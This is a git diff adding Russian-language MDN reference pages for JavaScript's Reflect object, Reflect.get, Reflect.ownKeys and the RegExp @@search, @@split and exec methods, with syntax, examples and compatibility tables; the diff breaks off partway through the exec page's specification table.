diff --git a/files/ru/web/javascript/reference/global_objects/reflect/get/index.html b/files/ru/web/javascript/reference/global_objects/reflect/get/index.html
new file mode 100644
index 0000000000..96d70ed7e7
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/get/index.html
@@ -0,0 +1,99 @@
+---
+title: Reflect.get()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/get
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Reflect
+  - метод
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/get
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <strong><code>Reflect.get()</code></strong> работает также, словно если бы мы получали свойство объекта (<code>target[propertyKey]</code>) с помощью функции.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-get.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера находится в репозитории GitHub. Если вы хотите внести вклад в развитие интерактивных примеров, склонируйте репозиторий <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.get(target, propertyKey[, receiver])
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Объект, к свойству которого идёт обращение.</dd>
+ <dt><code>propertyKey</code></dt>
+ <dd>Название свойства, значение которого необходимо получить.</dd>
+ <dt>receiver {{optional_inline}}</dt>
+ <dd>Значение, которое получит переменная <code>this</code> при вызове геттера.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Значение свойства <code>propertyKey</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>{{jsxref("TypeError")}}, если <code>target</code> не {{jsxref("Object")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>Reflect.get</code> позволяет получить значение свойства некоторого объекта. Он похож на обычный доступ к значению свойства объекта <a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">значению свойства объекта</a>, только с синтаксисом функции.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_Reflect.get()">Использование <code>Reflect.get()</code></h3>
+
+<pre class="brush: js">// Объект
+var obj = { x: 1, y: 2 };
+Reflect.get(obj, 'x'); // 1
+
+// Мессив
+Reflect.get(['ноль', 'один'], 1); // "один"
+
+// Proxy, перехватывающий get
+var x = {p: 1};
+var obj = new Proxy(x, {
+  get(t, k, r) { return k + 'bar'; }
+});
+Reflect.get(obj, 'foo'); // "foobar"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.get', 'Reflect.get')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица поддержки браузерами на этой странице сгенерирована из структурированных данных. Если вы хотите внести свой вклад и добавить свои данные, пожалуйста, посетите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("javascript.builtins.Reflect.get")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Property_Accessors">Property accessors</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html
new file mode 100644
index 0000000000..0eb627a905
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html
@@ -0,0 +1,153 @@
+---
+title: Reflect
+slug: Web/JavaScript/Reference/Global_Objects/Reflect
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect
+---
+<div>{{JSRef}}</div>
+
+<p><strong>Reflect</strong> - это встроенный объект, который предоставляет методы для перехватывания JavaScript операций. Эти методы аналогичны методам <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">proxy handler</a>`ов. <code>Reflect</code> - это не функциональный, а простой объект, он не является сконструированным.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В отличие от большинства глобальных объектов, <code>Reflect</code> - это не конструктор. Вы не можете использовать его с <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>оператором new</code></a> или вызывать <code>Reflect,</code> как функцию. Все свойства и методы объекта <code>Reflect</code> являются статическими (так же, как и у объекта {{jsxref("Math")}}).</p>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Объект <code>Reflect</code> обеспечивает работу статических функций, называющиеся так же, как <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler">методы proxy handler</a>`а. Некоторые из этих методов - те же, что и соответствующие им методы класса {{jsxref("Object")}}.</p>
+
+<dl>
+ <dt>{{jsxref("Reflect.apply()")}}</dt>
+ <dd>Вызывает целевую функцию с аргументами, переданными в параметре <code>args</code>. Смотрите также {{jsxref("Function.prototype.apply()")}}.</dd>
+ <dt>{{jsxref("Reflect.construct()")}}</dt>
+ <dd> Оператор <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code></a> как функция. Аналогично <code>new target(...args)</code>. Также предоставляет возможность определить другой прототип.</dd>
+ <dt>{{jsxref("Reflect.defineProperty()")}}</dt>
+ <dd>Похож на {{jsxref("Object.defineProperty()")}}. Возвращает {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.deleteProperty()")}}</dt>
+ <dd>Оператор <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete"><code>delete</code></a> как функция. Аналогично <code>delete target[name]</code>.</dd>
+ <dt>{{jsxref("Reflect.enumerate()")}}</dt>
+ <dd>Похож на цикл <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in"><code>for...in</code></a>. Возвращает итератор с собственными перечисляемыми и наследуемыми свойствами целевого объекта.</dd>
+ <dt>{{jsxref("Reflect.get()")}}</dt>
+ <dd>Функция, которая возвращает значение свойств.</dd>
+ <dt>{{jsxref("Reflect.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Аналогично {{jsxref("Object.getOwnPropertyDescriptor()")}}. Возвращает дескриптор указанного свойства если присутствует в объекте, иначе {{jsxref("undefined")}}.</dd>
+ <dt>{{jsxref("Reflect.getPrototypeOf()")}}</dt>
+ <dd>Аналогично {{jsxref("Object.getPrototypeOf()")}}.</dd>
+ <dt>{{jsxref("Reflect.has()")}}</dt>
+ <dd>Оператор <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> </a>как функция. Возвращает значение {{jsxref("Boolean")}} в зависимости от факта наличия собственного или наследованного свойства.</dd>
+ <dt>{{jsxref("Reflect.isExtensible()")}}</dt>
+ <dd>Аналогично {{jsxref("Object.isExtensible()")}}.</dd>
+ <dt>{{jsxref("Reflect.ownKeys()")}}</dt>
+ <dd>Возвращает массив строк с именами собственных (не наследованных) свойств.</dd>
+ <dt>{{jsxref("Reflect.preventExtensions()")}}</dt>
+ <dd>Аналогично {{jsxref("Object.preventExtensions()")}}. Возвращает {{jsxref("Boolean")}}.</dd>
+ <dt>{{jsxref("Reflect.set()")}}</dt>
+ <dd>Функция, присваивающая значения свойствам. Возвращает {{jsxref("Boolean")}} значение <code>true</code> при успешном выполнении.</dd>
+ <dt>{{jsxref("Reflect.setPrototypeOf()")}}</dt>
+ <dd>Функция, присваивающая прототип целевому объекту.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Проверка_наличия_конкретных_свойств_у_объекта">Проверка наличия конкретных свойств у объекта</h3>
+
+<pre class="brush: js notranslate">const duck = {
+  name: 'Maurice',
+  color: 'white',
+  greeting: function() {
+    console.log(`Quaaaack! My name is ${this.name}`);
+  }
+}
+
+Reflect.has(duck, 'color');
+// true
+Reflect.has(duck, 'haircut');
+// false</pre>
+
+<h3 id="Возврат_собственных_ключей_объекта">Возврат собственных ключей объекта</h3>
+
+<pre class="brush: js notranslate">Reflect.ownKeys(duck);
+// [ "name", "color", "greeting" ]</pre>
+
+<h3 id="Добавление_нового_свойства_в_объект">Добавление нового свойства в объект</h3>
+
+<pre class="brush: js notranslate">Reflect.set(duck, 'eyes', 'black');
+// вернется "true" если вызов успешен
+// объект "duck" теперь содержит свойство 'eyes' со знчением 'black'</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-reflect-object', 'Reflect')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome("44")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("42")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Глобальный объект {{jsxref("Proxy")}}.</li>
+ <li>Объект {{jsxref("Proxy.handler", "handler")}}.</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
new file mode 100644
index 0000000000..a218116d09
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/reflect/ownkeys/index.html
@@ -0,0 +1,89 @@
+---
+title: Reflect.ownKeys()
+slug: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/ownKeys
+---
+<div>{{JSRef}}</div>
+
+<p>Статический метод <code><strong>Reflect</strong></code><strong><code>.ownKeys()</code></strong> возвращает массив имен, а также <code>Symbols</code> собственных полей объекта <code>target</code> .</p>
+
+<div>{{EmbedInteractiveExample("pages/js/reflect-ownkeys.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите сделать вклад в развитии интерактивных примеров, пожалуйста клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Reflect.ownKeys(target)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>target</code></dt>
+ <dd>Объект <code>target</code>, из которого получаем собственные ключи.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Массив {{jsxref("Array")}} собственных полей объекта <code>target</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Выбрасывает ислючение {{jsxref("TypeError")}}, если <code>target</code> не является {{jsxref("Object")}}.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Метод <code>Reflect.ownKeys</code> возвращает массив собственных ключей объекта <code>target</code>. Эквивалентом этого метода является <code>{{jsxref("Object.getOwnPropertyNames")}}(target).concat({{jsxref("Object.getOwnPropertySymbols")}}(target))</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_Reflect.ownKeys()">Использование <code>Reflect.ownKeys()</code></h3>
+
+<pre class="brush: js">Reflect.ownKeys({z: 3, y: 2, x: 1}); // [ "z", "y", "x" ]
+Reflect.ownKeys([]); // ["length"]
+
+var sym = Symbol.for('comet');
+var sym2 = Symbol.for('meteor');
+var obj = {[sym]: 0, 'str': 0, '773': 0, '0': 0,
+           [sym2]: 0, '-1': 0, '8': 0, 'second str': 0};
+Reflect.ownKeys(obj);
+// [ "0", "8", "773", "str", "-1", "second str", Symbol(comet), Symbol(meteor) ]
+// Индексы в порядке их перечисления,
+// Строки в порядке их ввода,
+// Symbols в порядке их ввода
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-reflect.ownkeys', 'Reflect.ownKeys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Reflect.ownKeys")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@search/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@search/index.html
new file mode 100644
index 0000000000..ee37017a2a
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/@@search/index.html
@@ -0,0 +1,116 @@
+---
+title: 'RegExp.prototype[@@search]()'
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/@@search
+tags:
+  - JavaScript
+  - Prototype
+  - Reference
+  - RegExp
+  - метод
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@search
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>[@@search]()</code></strong> выполняет поиск совпадения между регулярным выражением <code>this</code> и строкой.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.search](str)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>{{jsxref("String")}}, являющийся объектом поиска.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt>integer</dt>
+ <dd>В случае успеха, <code>[@@search]()</code> вернёт индекс первого совпадения регулярного выражения внутри строки. В противном случае, он вернёт -1.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот метод вызывается внутрнее в {{jsxref("String.prototype.search()")}}. Например, два следующих примера вернут один и тот же результат.</p>
+
+<pre class="brush: js">'abc'.search(/a/);
+
+/a/[Symbol.search]('abc');</pre>
+
+<p>Этот метод существует для настройки поведения поиска в подклассах <code>RegExp</code>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Прямой_вызов">Прямой вызов</h3>
+
+<p>Этот метод можно использовать почти так же, как {{jsxref("String.prototype.search()")}}, за исключением другого <code>this</code> и другого порядка аргументов.</p>
+
+<pre class="brush: js">var re = /-/g;
+var str = '2016-01-02';
+var result = re[Symbol.search](str);
+console.log(result);  // 4
+</pre>
+
+<h3 id="Используя_search_в_подклассах">Используя <code>@@search</code> в подклассах</h3>
+
+<p>Подкласс {{jsxref("RegExp")}} может быть перезаписан с помощью метода <code>[@@search]()</code> для изменения поведения.</p>
+
+<pre class="brush: js">class MyRegExp extends RegExp {
+  constructor(str) {
+    super(str)
+    this.pattern = str;
+  }
+  [Symbol.search](str) {
+    return str.indexOf(this.pattern);
+  }
+}
+
+var re = new MyRegExp('a+b');
+var str = 'ab a+b';
+var result = str.search(re); // String.prototype.search calls re[@@search].
+console.log(result); // 3
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@search', 'RegExp.prototype[@@search]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если Вы хотите дополнить эти данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("javascript.builtins.RegExp.@@search")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@split()", "RegExp.prototype[@@split]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
new file mode 100644
index 0000000000..8a0e07c804
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/@@split/index.html
@@ -0,0 +1,113 @@
+---
+title: 'RegExp.prototype[@@split]()'
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/@@split
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/@@split
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>[@@split]()</code></strong> метод делит объект {{jsxref("String")}}  в массив сторок, путём разбиения строки на подстроки.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/regexp-prototype-@@split.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>regexp</var>[Symbol.split](str[, <var>limit</var>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Цель разбиения.</dd>
+ <dt><code>limit</code></dt>
+ <dd>
+ <p>Необязательное. Целое число ограничивающее кол-во рабиений. <code>[@@split]()</code> метод разбивает все совпадения <code>this</code> RegExp шаблона, до тех пор пока не достигнет числа <code>limit</code> или строка будет короче <code>this</code> шаблона.</p>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{jsxref("Array")}} содержит подстроки как элементы.</p>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот метод вызывает {{jsxref("String.prototype.split()")}}, если аргумент <code>separator</code> объект {{jsxref("RegExp")}}. Для примера, два данных выражения возвращают одинаковый результат.</p>
+
+<pre class="brush: js">'a-b-c'.split(/-/);
+
+/-/[Symbol.split]('a-b-c');</pre>
+
+<p>Этот метод существует для кастомизации поведения (разбиения) подкласса <code>RegExp</code>.</p>
+
+<p>Если аргумент <code>str</code> <strong>не </strong>объект типа {{jsxref("RegExp")}}, метод {{jsxref("String.prototype.split()")}} не вызывается, так же не создается объект типа {{jsxref("RegExp")}}.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Прямой_вызов">Прямой вызов</h3>
+
+<p>Этот метод может быть использован, так же как {{jsxref("String.prototype.split()")}}, кроме случаев когда <code>this</code> отличаются и аргументы идут в разном порядке.</p>
+
+<pre class="brush: js">var re = /-/g;
+var str = '2016-01-02';
+var result = re[Symbol.split](str);
+console.log(result);  // ["2016", "01", "02"]
+</pre>
+
+<h3 id="Использование_split_в_подклассах">Использование <code>@@split</code> в подклассах</h3>
+
+<p>Подклассы {{jsxref("RegExp")}} могут переопределить <code>[@@split]()</code> для изменения дефольтного поведения.</p>
+
+<pre class="brush: js">class MyRegExp extends RegExp {
+  [Symbol.split](str, limit) {
+    var result = RegExp.prototype[Symbol.split].call(this, str, limit);
+    return result.map(x =&gt; "(" + x + ")");
+  }
+}
+
+var re = new MyRegExp('-');
+var str = '2016-01-02';
+var result = str.split(re); // String.prototype.split calls re[@@split].
+console.log(result); // ["(2016)", "(01)", "(02)"]
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-regexp.prototype-@@split', 'RegExp.prototype[@@split]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.RegExp.@@split")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@match()", "RegExp.prototype[@@match]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@replace()", "RegExp.prototype[@@replace]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.@@search()", "RegExp.prototype[@@search]()")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/regexp/exec/index.html b/files/ru/web/javascript/reference/global_objects/regexp/exec/index.html
new file mode 100644
index 0000000000..fdd7c92041
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/regexp/exec/index.html
@@ -0,0 +1,228 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - RegExp
+  - регулярные выражения
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>exec()</code></strong> выполняет поиск сопоставления регулярного выражения в указанной строке. Возвращает массив с результатами или {{jsxref("null")}}.</p>
+
+<p>Если целью выполнения является просто определить, проходит оно или нет, используйте метод {{jsxref("RegExp.prototype.test()")}}, либо метод строки {{jsxref("String.prototype.search()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.exec(<var>str</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>str</code></dt>
+ <dd>Строка, с которой производится сопоставление регулярного выражения.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Если сопоставление успешно выполнилось, метод <code>exec()</code> возвращает массив и обновляет свойства объекта регулярного выражения. Возвращаемый массив в первом элементе содержит сопоставленный текст, а в последующих элементах — текст, захваченный при сопоставлении круглыми скобками.</p>
+
+<p>Если сопоставление не удалось, метод <code>exec()</code> возвращает {{jsxref("null")}}.</p>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Рассмотрим следующий пример:</p>
+
+<pre class="brush: js">// Сопоставляется с фразой «кайф, сплющь», за которой следует слово «вши»,
+// игнорируя любые символы между ними. Запоминает слова «сплющь» и «вши».
+// Игнорирует регистр символов.
+var re = /кайф,\s(сплющь).+?(вши)/ig;
+var result = re.exec('Эх, чужд кайф, сплющь объём вши, грызя цент.');
+</pre>
+
+<p>Таблица ниже показывает результаты выполнения данного примера:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Объект</td>
+   <td class="header">Свойство/Индекс</td>
+   <td class="header">Описание</td>
+   <td class="header">Пример</td>
+  </tr>
+  <tr>
+   <td rowspan="4"><code>result</code></td>
+   <td><code>[0]</code></td>
+   <td>Все сопоставившиеся символы в строке.</td>
+   <td><code>кайф, сплющь объём вши</code></td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[<em>n</em>]</code></td>
+   <td>Сопоставившиеся подстроки в круглых скобках, если они присутствуют. Количество возможных подстрок ничем не ограничено.</td>
+   <td><code>[1] = сплющь<br>
+    [2] = вши</code></td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Индекс сопоставления в строке, начинается с нуля.</td>
+   <td><code>9</code></td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>Оригинальная строка.</td>
+   <td><code>Эх, чужд кайф, сплющь объём вши, грызя цент.</code></td>
+  </tr>
+  <tr>
+   <td rowspan="5"><code>re</code></td>
+   <td><code>lastIndex</code></td>
+   <td>Индекс, с которого начнётся следующая попытка сопоставления. Если отсутствует флаг <code>"g"</code>, остаётся равным нулю.</td>
+   <td><code>31</code></td>
+  </tr>
+  <tr>
+   <td><code>ignoreCase</code></td>
+   <td>Указывает, что в регулярном выражении используется флаг игнорирования регистра <code>"i"</code>.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>global</code></td>
+   <td>Указывает, что в регулярном выражении используется флаг глобального сопоставления <code>"g"</code>.</td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>multiline</code></td>
+   <td>Указывает, что в регулярном выражении используется флаг сопоставления по нескольким строкам <code>"m"</code>.</td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>source</code></td>
+   <td>Текст шаблона регулярного выражения.</td>
+   <td><code>кайф,\s(сплющь).+?(вши)</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Finding_successive_matches" name="Example:_Finding_successive_matches">Пример: поиск последовательных сопоставлений</h3>
+
+<p>Если ваше регулярное выражение использует флаг <code>"g"</code>, вы можете использовать метод <code>exec()</code> несколько раз для нахождения последовательных сопоставлений в одной и той же строке. Если вы сделаете это, поиск начнётся по подстроке строки <code>str</code>, начало которой определяется свойством {{jsxref("RegExp.lastIndex", "lastIndex")}} регулярного выражения (метод {{jsxref("RegExp.prototype.test()", "test()")}} также увеличивает свойство {{jsxref("RegExp.lastIndex", "lastIndex")}}). Например, предположим, что у вас есть следующий скрипт:</p>
+
+<pre class="brush: js">var myRe = /аб*/g;
+var str = 'аббвгдеабж';
+var myArray;
+while ((myArray = myRe.exec(str)) !== null) {
+  var msg = 'Найдено ' + myArray[0] + '. ';
+  msg += 'Следующее сопоставление начнётся с позиции ' + myRe.lastIndex;
+  console.log(msg);
+}
+</pre>
+
+<p>Этот скрипт выведет следующий текст:</p>
+
+<pre class="brush: js">Найдено абб. Следующее сопоставление начнётся с позиции 3
+Найдено аб. Следующее сопоставление начнётся с позиции 9
+</pre>
+
+<p>Примечание: не помещайте литерал регулярного выражения (или конструктор {{jsxref("RegExp")}}) внутрь условия <code>while</code>; это приведёт к бесконечному циклу, поскольку свойство {{jsxref("RegExp.lastIndex", "lastIndex")}} будет сбрасываться в ноль на каждой итерации цикла. Также убедитесь, что установлен флаг глобального сопоставления, в противном случае цикл будет бесконечным.</p>
+
+<h3 id="Example:_Using_exec_with_RegExp_literals" name="Example:_Using_exec_with_RegExp_literals">Пример: использование метода <code>exec()</code> вместе с литералами регулярного выражения</h3>
+
+<p>Вы можете использовать метод <code>exec()</code> без создания объекта {{jsxref("RegExp")}}:</p>
+
+<pre class="brush: js">var matches = /(привет \S+)/.exec('Это привет миру!');
+console.log(matches[1]);
+</pre>
+
+<p>Скрипт выведет в журнал строку «привет миру!».</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
